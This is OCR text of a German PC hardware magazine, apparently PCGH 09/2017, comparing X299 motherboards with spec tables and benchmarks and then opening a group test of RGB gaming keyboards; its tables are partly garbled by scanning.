für RGBW- und für digital ansteuerbare 
LED-Streifen, letztere in 5 V und 12 V. 
Zwei freie Temperaturfühler erlauben die 
Systemüberwachung und Lüftersteuerung. 


Viel M.2-Zubehör 

Die drei M.2-Slots des Gaming 9 sind mit 
dicken Aluminiumkühlkörpern versehen 
(2x 80 mm lang, 1x 110 mm), die sich 
stimmig in das restliche Board-Design ein- 
fügen. Im Zubehör findet sich zusätzlich 
eine x4-Slot-auf-M.2-Adapterkarte mit 
großem Kühler und ein M.2-U.2-Adapter. 


Jede Menge Anschlüsse, aber acht Lanes verschenkt 

Obwohl das Gaming 9 mit einem Preis von über 500 Euro kein Einsteigermodell ist, versucht 
Gigabyte auch Kaby-Lake-X-Nutzern viele der drei M.2- und fünf PCI-E-Slots zugänglich zu 
machen. Leider führt dies zu mehreren Fällen von Ressourcenteilung (M.2 <-> 4x SATA, M.2 
<-> x4, x16 <-> x8), während 8 Lanes von 44-Lane-Skylake-X-CPUs ungenutzt bleiben. 
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INFRASTRUKTUR | X299-Mainboards 


ganzen und lässt einen seiner bei- 
den M.2-Slots ebenfalls mit vier 
SATA-Ports sharen. Dafür gibt es 
mit zwei x16- und je einem х8-, 
x4- und x1-Slot aber jede Menge 
Erweiterungsmöglichkeiten. Bei 
Einsatz einer 24-Lane-CPU wer- 
den ein x16 und der x8 auf halbe 
Geschwindigkeit eingebremst. 


Peripherie 

I/Oceitig gibt sich keiner der 
Kandidaten eine Blófse. Acht SA- 
TA-Ports bietet schon der X299, 
Asrock legt sogar noch zwei oben 
drauf. Für Front-Panels werden 
einheitlich vier USB-3.0- und ein 
-3.1-Header geboten, letzterer via 
Zusatz-Controller. Ein zweiter 
versorgt bei allen Teilnehmern 
die 3.1-Anschlüsse am I/O-Panel, 
nur Gigabyte geht einen Sonder- 
weg: Mittels Hub werden aus 
den beiden Ports des Controllers 
insgesamt fünf. So steigt zwar 
nicht die aggregiert mögliche Da- 
tentransferrate, es können aber 
mehr USB-3.1-Geräte angeschlos- 
sen bleiben - acht (Asrock) bis 
zehn (MSI) USB-Ports insgesamt 
(davon immer vier als 3.0) soll- 
ten auch sonst wenig Umsteck- 
bedarf verursachen. Deutliche 
Unterschiede, aber weniger als 
erwartet, gibt es in der Audiosek- 
tion. Selbst das MSI X299 Raider 
verfügt, im Gegensatz zu seinen 
abgespeckten Vorgängern, über 
einen aktuellen ALC1220-Codec. 
An die hochgezüchteten Audio- 
Lósungen der teureren Konkur- 
renten reicht es aber natürlich 
nicht heran, auch wenn diese auf 
die gleiche Basis aufbauen. Man- 
gels integrierter GPU beschrän- 
ken sich die weiteren Anschlüsse 
auf LAN-Ports. Die beiden teure- 
ren Platinen bieten hier standes- 
gemäß W- und Dual-Gigabit-LAN, 
während MSI die Grundversor- 
gung mit einem Intel-Controller 
aufrecht erhält. Highlight dieses 
Vergleichs ist aber der 10-Gigabit- 
Aquantia-Controller bei Asrock. 


Zusammenfassung 

Das X299 Professional Gaming 
i9 sitzt stabil auf Platz 2 unse- 
rer Rangliste - egal ob man die 
Boards in Werkseinstellungen 
vergleicht oder mit voll ausge- 
reizter CPU (Asus respektive MSI 
in Führung). Positiv fallen vor 
allem das Layout, die gute Span- 
nungswandlerkühlung und vor 
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allem die Ausstattung aus. 10 GBit 
LAN und drei M.2-Ports braucht 
zwar nicht jeder und die PCI-E- 
Slots lassen sich nur mit einem 
Core 19 voll ausreizen - aber ge- 
nau das erwartet man von einem 
Board der 400-Euro-Klasse auch: 
Die Möglichkeit Luxus-CPUs voll 
auszureizen und Fähigkeiten, die 
über das Übliche hinausgehen. 


MSIs X299 Raider kann sich 
solche Extravaganzen nicht er- 
lauben. Verglichen mit Sockel- 
1151-Mainboards ist die board- 
eigene Ausstattung aber immer 
noch auf Oberklasse-Niveau und 
dazu gibt es das volle Potential 
der Skylake-X-CPUs - für gerade 
einmal 200 Euro! Einziger Wer- 
mutstropfen bei diesem Preis ist 
die knappe Spannungswandler- 
kühlung, ohne Nachhilfe lassen 
sich nur die kleinsten Skylake-X- 
Modelle übertakten. Dank eines 
kleinen Performance-Boosts ab 
Werk und weil die Budget-Kon- 
kurrenz von Asus das gleiche 
Problem hat, sobald man die CPU 
ausreizt, erreicht das Raider inof- 
fiziell dennoch Platz 4. 


Etwas kälter bleibt Gigabytes 
X299 Gaming 9, dessen impo- 
sante LichterShow ein klarer 
Gegenentwurf zum Raider ist. 
Leider gilt dies auch für den 
Preis: 520 Euro wecken hóchste 
Erwartungen und richten sich 
an Anwender, die das Letzte aus 
Skylake X herausholen wollen. 
Diesem Anspruch wird die Span- 
nungswandlerkühlung aber nur 
teilweise gerecht und das PCI- 
Express-Routing nimmt sogar 
besondere Rücksicht auf Käufer 
von 320-Euro-Kaby-Lake-X-CPUs. 
Das kann selbst ein günstiges 
X299 Gaming 3 besser. (tu) 


Fazit Нагйшаге 


High End am Ende? 

Asrock hat leichten Leistungsrück- 
stand, Gigabyte fragwürdige Prio- 
ritäten, Asus verliert mit fairen Ein- 
stellungen Plätze, günstige Boards 
leiden unter Kühlproblemen und 
beim einzigen verbleibenden Kandi- 
daten zahlt man vor allem für Op- 
tik-Features: „Enthusiast”-isch stim- 
men die Sockel-2066-Mainboards 
bislang nicht, aber immerhin haben 
sich die Preise schnell eingependelt. 


SOCKEL-2066- 
MAINBOARDS 


Auszug aus der Testtabelle mit 
160 Wertungskriterien. 


Hersteller 


Test in PCGH 09/2017 


ә n — e 
Produkt Strix X299-E Gaming X299 Profession. Gam. i9 


Asus (www.asus.de) 


Asrock (www.asrock.de) 


Preis/Preis-Leistungs-Verháltnis 


Ca. € 330,-/Note 3- 


Ca. € 420,-/Note 4- 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1641089 


www.pcgh.de/preis/1641217 


PCH; UEFI-; Board-Revision X299; 0402; 1.02 X299; 1.2; 1.28 
Gehäuse-Format; Höhe x Breite ATX; 305 x 244 mm ATX; 305 x 244 mm 
Ausstattung J (20%) — 156 1,34 
Speicherslots 8х DDR4 8х DDR4 


PCI-E-3.0-Verteilung, 16-Lane-CPU* 


-/%16/-/-1x0/-1x0 oder -/x8/-/- 
Ix8/-1x0 


-/x 16/-1x0/x0/-/x0 und CPU-M.2 deak- 
tiviert oder –/х8/-/х0/х4/—/х0 


PCI-E-3.0-Verteilung, 28-Lane-CPU* 


1x 16/-/-Ix8/-1x0 


-[x16/-/x0/x8/-/x0 oder -/x8/- 
[x0/x8/-/x8 


PCI-E-3.0-Verteilung, 44-Lane-CPU* 


-/x16/-/-Ix16/-1x8 


-[x16/-/x8/x16/-/x0 oder -/x8/- 
1х8/х16/—/х8 


PCI-E-3.0-Verteilung, PCH-Lanes* 


-/-1x 01x 1/-Ix4/- (alternativ —/—/х0/— 
I-IxAlx1) oder -/-/x1/x1/-1x4/- und 
Front-USB-3.1 deaktiviert (alternativ 
=/-10/-/-/х41х1). 


11-1-1111 (PCE 2.01) 


SATA 


4x 6 GBit/s (X299) + 4x 6 GBit/s (X299, 
deaktiviert PCI-E-x4-Slot) 


8x 6 GBit/s (X299) + 2x 6 GBit/s 
(ASM1061) 


NVME, Anbindung*, Format 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110; 1x M.2 m-Key, 
PCI-E-3.0-x4, 42/60/80/110 (vertikal mit 
Halterung) 


1x M.2 m-Key, PCI-E-3.0-x4, 
30/42/60/80/110; 1x M.2 m-Key, 
PCI-E-3.0-x4, 30/42/60/80; 1x M.2 
m-Key, PCI-E-3.0-x4, 30/42/60/80 
(via CPU) 


Onboard-LAN 1x GBit (Intel 1219-V) 1x 10 GBit + 2x GBit (Aquantia AQC107 
+ Intel 1219-V + Intel 211AT) 
Wireless 802.11 ac; Bluetooth 4.2 (Realtek 802.11 ac; Bluetooth 4.2 (Intel 3168) 


8822BE) 


USB extern/intern 


2x/1x USB 3.1 (davon x1 Typ-C ex- 


tern/x1 USB-3.1-spezial-Front-Panel-Hea- 


der); 4x/4x USB 3.0; 2x/2x USB 2.0 


2x/1x USB 3.1 (davon x1 Typ-C ex- 
tern/x 1 USB-3.1-spezial-Front-Panel-Hea- 
der); 4x/4x USB 3.0; 2x/4x USB 2.0 


Legacy-Schnittstellen extern/intern 


COM-Header 


PS/2-Maus-oder-Tastatur-Flex-Port 


Sound-Chip Realtek "51220A" Realtek ALC1220 
Kopfhörer-Verstärker/DTS oder ООШ  |Ja/nein/nein Jalnein/nein 
wechselbarer OP-AMP 

Audio-Aus-/Eingánge 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 


Lüfteranschlüsse 


7х 4-Pin PWM 


5x 4-Pin PWM 


Sonstige Ausstattung Statussegmentanzeige; Power-Schalter; ^ |Statussegmentanzeige; Power- und 
Clear-CMOS-Schalter am l/O-Panel; Regel- | Reset-Schalter; Clear-CMOS-Schalter am 
bare RGB-Beleuchtung; zwei Anschlüsse ` ||/O-Panel; Dual-UEFI; Regelbare RGB-Be- 
für RGB-LED-Streifen; Anschluss für digi- |leuchtung; zwei Anschlüsse für RGB-LED- 
tale LED-Streifen (12 V); Thunderbolt-Hea- |Streifen; Thunderbolt-Header 
der; Anschluss für Temperatursensor 

Beiliegend 4x SATA-Kabel; HB-SLI-Brücke; Tempera- | 4x SATA-Kabel; Triple-SLI- und HB-SLI- 


tursensor; 1x RGB-Verlángerungskabel; 
Anschlusskabel für digitale LED-Streifen; 
Handbuch Englisch 


Brücke; Handbuch teilweise Deutsch; 


Eigenschaften (20%) 

"Abstand** CPU <> 1./2. RAM-Slot; 57/66 Millimeter; 56/65 Millimeter; 
<> Spannungswandlerkühlerl./o." ^ |—/54 Millimeter -/53 Millimeter 
Abstand** CPU «» PCI-E-x16 86 Millimeter 96 Millimeter 
Abstand PEG 1 «» 2 2 Slots 2 Slots 


Multiplikator-CPU/-AVX/-AVX512/ 
aktive Kernzahl/Referenztakt 


Anheb- und absenkbar/einstellbar/einsell- 


bar/einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/einsell- 
bar/einstellbar/einstellbar 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Jaljalja/ja, konfigurierbar. Bereich: 0,0 
bis 1,9 Volt 


Jaljalja/ja, konfigurierbar. Bereich: 0,8 
bis 2,0 Volt 


Mesh-/IMC-/PCH-Spannung 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Max. wählbarer RAM-Takt; -Spannung 


DDR4-4400; 2,10 Volt 


DDR4-4400; 2,00 Volt 


Lüftersteuerung 


3-Punkt-Kurve konfigurierbar; CPU + 
weitere Lüfter; min. 20% PWM 


4,5-Punkt-Kurve konfigurierbar; CPU + 
weitere Lüfter; min. 0% PWM 


Virtualisierung SVM/IOMMU 


-/aktivierbar 


Aktivierbar/aktivierbar 


Leistung (60%) 2,41 2,52 

Realer Referenztakt (CPU-Z) 100,00 MHz 100,00 MHz 
Witcher 3 1080p kein AA/AF 138,1 Fps 137,6 Fps 
Lightroom 5.6, Export 30 RAWs 98,0 Sekunden 97,8 Sekunden 
AIDA Memory Bench - Kopierrate 62.160 MB/s 61.449 MB/s 
Boot-Zeit Desktop Windows 10 40,5 Sekunden 27,7 Sekunden 


Temp. Spannungswandler/lOH*** 


56/40 °C (64/41 °C mit ungedros. CPU) 


56/45 °C (64/44 °C mit ungedros. CPU) 


Stromver.**** Soft-Off/Leerl./Last*** 


2,5/52,5/386 Watt 


FAZIT 


© Onboard WLAN 
© Auch übertaktet kühl 


© 4 von 44 CPU-Lanes ungenutzt 


Wertung: 2,05 


2,9/68,6/404 Watt 


© 10-Gigabit-LAN onboard 
© Auch übertaktet kühl 


e GroBer Abstand CPU <-> GPU 


Wertung: 2,06 


www.pcgameshardware.de 


Testsystem: Core i9-7900X, Asus Strix GTX 1080 110 96 powertarget, 91 °C temptarget; 4x 4 GiB Crucial DDR4-2666, ЕКІ Alpenfóhn Brocken Eco bei 1.440 U/min. *ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben I/O-Panel. 


itte. Nur Spannungswandlerkühlerteile >2,5 cm. ***Prime95 27.7 + Witcher 3 hohe Details, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur. 


****Ganzes System mit i9-7900X und Asus GTX 1080 an Seasonic-80-Plus-Gold-Netzteil. 


** Ab Sockel 


X299-Mainboards | INFRASTRUKTUR 


<. 
SPAR-TIPP 


Test in PCGH 09/2017 


SOCKEL-2066- 
MAINBOARDS 


Auszug aus der Testtabelle mit 
160 Wertungskriterien. 


Produkt 


Hersteller 


Test in PCGH 09/2017 


MSI (www.msi.com) 


F X299 Mark 2 


Asus (www.asus.de) 


MSI 
X299 Raider 


. —„ Hardware 


Х299 


MSI (www.msi.com) 


X299 Gaming 9 
Gigabyte (www.gigabyte.de) 


Test in PCGH 09/2017 


X299 Gaming 3 
Gigabyte (www.gigabyte.de) 


Preis/Preis-Leistungs-Verhältnis 


Ca. € 310,-/Note 3- 


Ca. € 230,-/Note 2- 


Ca. € 200,-/Note 2- 


Ca. € 520,-/Note 6 


Ca. € 280,-/Note 3- 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1632012 


www.pcgh.de/preis/1641192 


www.pcgh.de/preis/1641249 


www.pcgh.de/preis/1631550 


www.pcgh.de/preis/1631912 


PCH; UEFI-; Board-Revision Х299; 1.10; 1.1 X299; 0402; 1.01 X299; 1.10; 1.0 X299; F6i; 1.0 X299; F6a; 1.0 
Gehäuse-Format; Höhe x Breite ATX; 305 x 244 mm ATX; 305 x 244 mm ATX; 305 x 244 mm ATX; 305 x 244 mm ATX; 305 x 244 mm 
Ausstattung (20%) 1,32 1,81 1,63 1,39 1,70 
Speicherslots 8x DDR4 8x DDR4 8x DDRA 8x DDRA 8x DDRA 


PCI-E-3.0-Verteilung, 16-Lane-CPU* 


-/x8/-1x0/x8/-/x0 oder -/x8/- 
IxAlxAl-I1x0 


-/x16/-/-1x0/-1x0 oder -/x8/-/- 
Ix8/-1x0 


-/x16/-/-1x0/-1x0 oder -/x8/-/-/x8/- 
1х0 oder -/x8/-/-Ix4/-1x4 


-/%16/-1x0/x0/-/x0 oder -/x8/- 
[x0/x8/-/x0 oder -/x8/-/x4/x4/-Ix0 


-Ix8/-Ix4/x4/-Ix0 


PCI-E-3.0-Verteilung, 28-Lane-CPU* 


-[x16/-/x4[x8/-Ix0 oder -/x8/- 
Ix4lx8l-1x8 


—/x16/-/-1x8/-1x0 


1x 16/-/-Ix8/-1x4 


-/x16/-/x4/x8/-1x0 oder -/x8/- 
Ix41x8/-1x8 


-/x 16/-1x4/x8/-1x0 oder -/x8/- 
Ix41x8/-1x8 


PCI-E-3.0-Verteilung, 44-Lane-CPU* 


1x 16/-/x41x 16/-1x8 


—/x16/-/-/x16/-1x8 


-/x 16/-/-Ix16/-1x8 


-[x16/-/x4[x16/-/x0 oder -/x8/- 
Ix41x 16/-1x8 


-/x 16/-Ix4/x16/-1x8 


PCI-E-3.0-Verteilung, PCH-Lanes* 


=/1-1х1/-/-/х1/- 


=/1—/х11х2/—1х1/– 


EE 


ett 


-l-l-l-l-lx4l- 


SATA 


8x 6 GBit/s (8x X299) 


6x 6 GBit/s (8x X299) 


8x 6 GBit/s (8x X299) 


8x 6 GBit/s (8x X299) 


8x 6 GBit/s (8x X299) 


NVME, Anbindung*, Format 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110; 1x M.2 m-Key, 
PCI-E-3.0-x4, 42/60/80; 1x U.2 (deakti- 
viert 4x SATA) 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80; 1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110 (vertikal mit Halterung) 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80; 1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110 (deaktiviert 4x SATA); 1x 
U.2 (deaktiviert PCH-PCI-E x4) 


1x M.2 m-Key, PCI-E-3.0-x4, 60/80; 

1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80 
(deaktiviert 4x SATA); 1x M.2 m-Key, 
PCI-E-3.0-x4, 60/80/110 (via CPU, deak- 
tiviert oberen x4-Slot) 


1x M.2 m-Key, PCI-E-3.0-x4, 60/80/110; 
1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80 
(deaktiviert 4x SATA) 


tern/x1 USB-3.1-spezial-Front-Panel-He- 
ader); 4x/4x USB 3.0; 3x/4x USB 2.0 


4x/4x USB 3.0; 4x/2x USB 2.0 


tern/x1 USB-3.1-spezial-Front-Panel-He- 
ader); 4x/4x USB 3.0; 4x/4x USB 2.0 


tern/x1 USB-3.1-spezial-Front-Panel-He- 
ader); 4x/4x USB 3.0; 0x/4x USB 2.0 


Onboard-LAN 1x GBit (Intel 1219-V) 1x GBit (Intel 1219-V) 1x GBit (Intel 1219-V) 2x GBit (Intel 219-V + Killer E2500) |1x GBit (Intel 1219-V) 
Wireless 802.11 ac; Bluetooth 4.2 (Intel 8265) ` 802.11 ac; Bluetooth 4.1 (Killer 1535) |- 
USB extern/intern 2x/1x USB 3.1 (davon x1 Typ-C ex- 2xl0x USB 3.1 (davon x1 Typ-C extern); | 2x/1x USB 3.1 (davon x1 Typ-C ex- 5x/1x USB 3.1 (davon x1 Typ-C ex- 2x/0x USB 3.1 (davon x1 Typ-C extern); 


6x/4x USB 3.0; 0x/4x USB 2.0 


Legacy-Schnittstellen extern/intern 


P5/2-Maus-oder-Tastatur-Flex-Port 


PS/2-Maus-oder-Tastatur-Flex-Port; 
COM-Header 


PS/2-Maus-oder-Tastatur-Flex-Port 


PS/2-Maus-oder-Tastatur-Flex-Port 


PS/2-Maus-und-Tastatur-Combo-Port 


Sound-Chip Realtek ALC1220 Realtek "51220A" Realtek ALC1220 Realtek ALC1220 Realtek ALC1220 
Kopfhörer-Verstärker/DTS oder ООШ | Ja/nein/nein Nein/nein/nein Ja/nein/nein Jalnein/nein Nein/nein/nein 
wechselbarer OP-AMP 
Audio-Aus-/Eingánge 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1/Eingang x2 
Lüfteranschlüsse 6x 4-Pin PWM 8x 4-Pin PWM 6x 4-Pin PWM 8x 4-Pin PWM 8x 4-Pin PWM 
Sonstige Ausstattung Statussegmentanzeige; Power- und Status-LEDs; Clear-CMOS-Jumper; Regel- |Status-LEDs; Power- und Reset-Schalter; |Statussegmentanzeige; Power- und Status-LEDs; Power-Schalter; Cle- 
Reset-Schalter; Clear-CMOS-Schalter bare RGB-Beleuchtung; Thunderbolt-Hea- | Clear-CMOS-Schalter am I/O-Panel; Du- |Reset-Schalter; Clear-CMOS-Schalter; ar-CMOS-Jumper; Dual-UEFI; Regelbare 
am I/O-Panel; Dual-UEFI; Regelbare der; Anschluss für Temperatursensor al-UEFI; Anschluss für RGB-LED-Streifen; |Dual-UEFI; Regelbare RGB-Beleuchtung; |RGB-Beleuchtung; zwei Anschlüsse 
RGB-Beleuchtung; Anschluss für RGB- Thunderbolt-Header zwei Anschlüsse für RGBW-LED-Streifen; |für RGBW-LED-Streifen; Anschluss für 
LED-Streifen Anschluss für digitale LED-Streifen digitale LED-Streifen (5 V und 12 V); 
(5 V und 12 V); Thunderbolt-Header; Thunderbolt-Header; Anschluss für zwei 
Anschlüsse für zwei Temperatursensoren; | Temperatursensoren 
Spannungsmesspunkte; Thunder- 
bolt-3-Controller 
Beiliegend 4x SATA-Kabel; HB-SLI-Brücke; wechsel- |4x SATA-Kabel; HB-SLI-Brücke; Hand- |4x SATA-Kabel; HB-SLI-Brücke; Hand- ` |6x SATA-Kabel; HB-SLI-Brücke; 2x 4x SATA-Kabel; Handbuch Englisch 
bare Zierblenden; 1x Y-RGB-Verlánge- ` |buch Englisch buch Englisch Temperatursensor; 2x RGBW-Verlänge- 
rungskabel; Handbuch Englisch rungskabel; Anschlusskabel für digitale 
LED-Streifen; Adpaterkarte PCI-E auf M.2 
mit Kühlkörper; Adapter M.2 auf U.2; 
Handbuch Englisch; 
Eigenschaften (20%) 1,55 1,40 1,55 1,45 1,54 
"Abstand** CPU <> 1./2. RAM-Slot; 57/66 Millimeter; 57/66 Millimeter; 58/67 Millimeter; 58/67 Millimeter; 57/66 Millimeter; 
<> Spannungswandlerkühler l./o." — (23 mm flach) = (23 mm flach) -/68 Millimeter -/63 Millimeter -/63 Millimeter 
Abstand** CPU <> PCI-E-x16 82 Millimeter 87 Millimeter 82 Millimeter 82 Millimeter 82 Millimeter 
Abstand PEG 1<>2 2 Slots 2 Slots 2 Slots 2 Slots 2 Slots 


Multiplikator-CPU/-AVX/-AVX512/ 
aktive Kernzahl/Referenztakt 


Anheb- und absenkbar/einstellbar/ 
gekoppelt/einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/ 
einsellbar/einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/ 
gekoppelt/einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/ 
einsellbar/einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/ 
einsellbar/einstellbar/einstellbar 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Jaljaljalja, konfigurierbar. Bereich: 0,8 
bis 2,1 Volt 


Jaljaljalja, konfigurierbar. Bereich: 0,0 
bis 1,9 Volt 


Jaljalja/ja, konfigurierbar. Bereich: 0,8 
bis 2,1 Volt 


Jaljalja/ja, konfigurierbar. Bereich: 0,5 
bis 1,7 Volt 


Jalja/jalja, konfigurierbar. Bereich: 0,5 
bis 1,7 Volt 


Testsystem: Core i9-7900X, Asus Strix GTX 1080 110 % powertarget, 91°C temptarget; 4x 4 GiB Crucial DDR4-2666, ЕКІ Alpenfóhn Brocken Eco bei 1.440 U/min. *ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben 1/0-Рапе!. 


**Ab Sockel-Mitte. Nur Spannungswandlerkühlerteile >2,5 cm. ***Prime95 27.7 + Witcher 3 hohe Details, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur. 


****Ganzes System mit 19-7900Х und Asus GTX 1080 an Seasonic-80-Plus-Gold-Netzteil. 


Mesh-/IMC-/PCH-Spannung 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Max. wählbarer RAM-Takt; -5pannung 


DDR4-4400; 2,00 Volt 


DDR4-4400; 2,10 Volt 


DDR4-4400; 2,00 Volt 


DDR4-5800; 2,00 Volt 


DDR4-5800; 2,00 Volt 


FAZIT 
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© Onboard WLAN 
© Überdurchschnittliche Leistung 


© Hoher Stromverbrauch 


Wertung: 2,07 


© x16 auch mit Kaby Lake 
© Relativ sparsam 
© Übertaktet heiß 


Wertung: 2,12 


© Günstig 
© Überdurchschnittliche Leistung 


© vielseitige Lüftersteuerung 
© Akzeptable Kühlung 


Lüftersteuerung 4-Punkt-Kurve konfigurierbar; CPU + 3-Punkt-Kurve konfigurierbar; CPU + 4-Punkt-Kurve konfigurierbar; CPU + 5-Punkt-Kurve konfigurierbar; CPU + 5-Punkt-Kurve konfigurierbar; CPU + 
weitere Lüfter; min. 0% PWM weitere Lüfter; min. 20% PWM weitere Lüfter; min. 0% PWM weitere Lüfter; min. 0% PWM weitere Lüfter; min. 0% PWM 

Virtualisierung SVM/IOMMU —laktivierbar —laktivierbar —laktivierbar —laktivierbar —laktivierbar 

Leistung (60%) 2,49 2,47 2,64 2,79 2,73 

Realer Referenztakt (CPU-Z) 100,00 MHz 100,00 MHz 100,00 MHz 100,00 MHz 100,00 MHz 

Witcher 3 1080p kein AA/AF 146,1 Fps 138,4 Fps 146,7 Fps 142,7 Fps 139,7 Fps 

Lightroom 5.6, Export 30 RAWs 97,1 Sekunden 98,3 Sekunden 97,3 Sekunden 97,8 Sekunden 98,2 Sekunden 

AIDA Memory Bench - Kopierrate 65.915 MB/s 62.207 MB/s 65.916 MB/s 64.232 MB/s 62.343 MB/s 

Boot-Zeit Desktop Windows 10 37,7 Sekunden 33,5 Sekunden 32,5 Sekunden 30,9 Sekunden 26,5 Sekunden 

Temp. Spannungswandler/lOH*** 71/39 °С 65/43 °C (84/41 °С mit ungedros. CPU) |86/39 °C 76/49 °C 73/42 °C 

Stromver.**** Soft-Off/Leerl./Last*** |3,1/60,1/469 Watt 1,6/48,1/394 Watt 1,9/62,4/466 Watt 4,8/68,6/464 Watt 3,5/65,1/449 Watt 


© Kurze Bootzeit 
© Vielseitige Lüftersteuerung 


© Hoher Verbr., hohe Temperaturen © 8 von 44 CPU-Lanes ungenutzt © Hoher Stromverbrauch 


Wertung: 2,22 


Wertung: 2,24. 
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Wertung: 2,29 
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Mit buntem Licht spielen 


Die RGB-Einzeltastenbeleuchtung hat sich als Grundausstattung einer Gaming-Tastatur etabliert. Wir tes- 


ten sieben neue Lichtspieler und ermitteln, welche weiteren Extras diese für die Zielgruppe parat haben. 


ie programmierbare RGB-Tas- 
E) die mit dem 
Cherry-MX-RGB-Schalter respekti- 
ve Corsairs K70/95-RGB-Tastatur- 
modellen ihr Debüt gab, gehört bei 
der neuesten Generation mechani- 
scher Spielertastaturen längst nicht 
mehr zur Sonderausstattung. Egal, 
ob die bunte Beleuchtung bei der 
Zielgruppe ankommt oder nicht, 
die Hersteller spendieren ihren 
Tastenbrettern eine immer größe- 
re Effektpalette inklusive der Mög- 
lichkeit, ein individuelles Beleuch- 
tungsschema mit oder im Idealfall 
sogar ohne Software erstellen zu 
können. Abseits der RGB-Licht- 
tricks gibt es kaum neue Features. 
Das zeigen die sieben Spielertasta- 
turen, die hier zum Vergleichstest 
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antreten. Ein nachrüstbarer Num- 
mernblock (Tesoro Tizona Spect- 
rum) ist genauso wenig eine Inno- 
vation wie eine Lautstärkenwalze 
(SBX Vanguard Ko8) oder die aus- 
tauschbaren Tastenkappen und die 
Handballenablage der Mionix Wei. 
Es scheint sich jedoch der Trend zu 
entwickeln, die F-Tasten nicht mehr 
doppelt zu belegen. Immerhin ver- 
fügen vier der sieben Probanden 
über separate Tasten für Makros 
oder Multimediafunktionen. 


Sound r X Vanguard 
K08: Testsieger mit speziellen Schal- 
tern. Von einer Makro-Direktauf- 
zeichnung und Sound-Anschlüssen 
abgesehen, bietet Creatives Gamer- 
Tastatur mit 10 mm flachen Tasten- 


kappen alles, was die Zielgruppe 
benötigt. Für Multimediafunktion- 
en, das Aufrufen des Aurora-Reac- 
tive-Features oder das Einstellen 
der Beleuchtung, für die vier Hel- 
ligkeitsstufen verfügbar sind, ste- 
hen Gummi-Dome-Knöpfe bereit. 
Makros lassen sich mit der sehr 
umfangreichen Software einfach 
aufzeichnen und beispielsweise auf 
die dafür vorgesehenen Tasten M1 
bis M5 legen. In punkto RGB-Be- 
leuchtung kann der Spieler entwe- 
der ein Schema selbst per Software 
erstellen oder er greift auf einen der 
per Fn * Cursor links/rechts aufruf- 
baren Effekte zurück, für die in der 
Software acht Modi (u. a. Laufrich- 
tung, Frequenz oder Effekttyp) be- 
reitstehen. Ein USB-2.0-Anschluss, 


eine Metallwalze für die Lautstärke, 
der 26-Key-Rollover und eine bis 
zu 1.000 Hertz verstellbare Polling- 
Rate runden das beste Ausstattungs- 
paket im Test ab. 


Der Abstand zwischen dem Haupt- 
tastenfeld und den M-Knöpfen 
betrágt nur 6 mm, zu Fehlgriffen 
kommt es aber selten. Die Handbal- 
lenablage ist ausreichend breit, eine 
optimale Ergonomie ist gewährleis- 
tet - ihre lose Befestigung jedoch 
nervt, vor allem beim Anheben. Die 
in Kooperation mit Omron entwi- 
ckelten PRES-Switches haben einen 
geringen Aktivierungsdruck von 
45 cN und lósen nach 1,5 mm aus 
(Gesamthub: 3,5 mm) - ideal für die 
schnelle Mehrfachbetätigung beim 
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Die RGB-Tastenbeleuchtung ist das gemeinsame Ausstattungsmerkmal aller 
Testteilnehmer. Unterschiede gibt es beim Zubehör und den Tastenschaltern. 


Mit der Logitech G213 Prodigy befindet sich eine Tastatur im Testfeld, deren 
Tastenschalter mit einer Gummidom-Mechanik (Bild oben links) arbeiten. Der mit der 
Creative SBX Vanguard K08 debütierende Omron-PRES-Switch (Bild oben rechts) fällt 
mit seinem kurzen Auslöseweg von 1,5 mm (Gesamthub: 3,5 mm) auf. Tesoros Tizona 
Spectrum (Bild unten links) lässt sich durch Zukauf eines Nummernblocks (ca. 45 
Euro) zur Full-Size-Tastatur erweitert und Mionix bietet für die Wei (Bild unten rechts) 
verschiedenfarbige Tastaturkappen (ca. 45 Euro) und Handballenablagen (20 Euro) an. 


Zocken. Es schreibt sich aber auch 
sehr angenehm mit der rutschfes- 
ten Vanguard K08, da sie, vom hör- 
baren Ping-Geräusch abgesehen, 
erstaunlich leise ist. 


Lion LK300: Ergonomischer und 
preiswerter Effektspieler. Unser 
Preis-Leistungs-Tipp, die Lioncast 
LK300 RGB, bietet die zweitbeste 
Ausstattung im Test. Deren Höhe- 
punkt ist klar die RGB-Beleuchtung. 
Die Beleuchtungspalette des mit 
einer Chassis-Oberfläche aus Alu- 


minium verzierten Keyboards um- 
fasst nämlich nicht nur 14 Effekte 
(Fn + M) inklusive Frequenzrege- 
lung (Pfeiltaste links/rechts), einen 
Farbwechselmodus und eine Reset- 
Funktion für die Vollbeleuchtung 
(Fn + ESC), sondern auch eine Di- 
rektaufzeichnung für fünf Profile 
(Fn + LR), die auf die dreifach be- 
legten Tasten 1 bis 5 zum Abrufen 
gespeichert werden können. Für 
individuelle Lichttricks bietet die 
Software keine Option. Für den Ef- 
fektwechsel ohne Taste findet man 
hier aber genauso einen Eintrag wie 
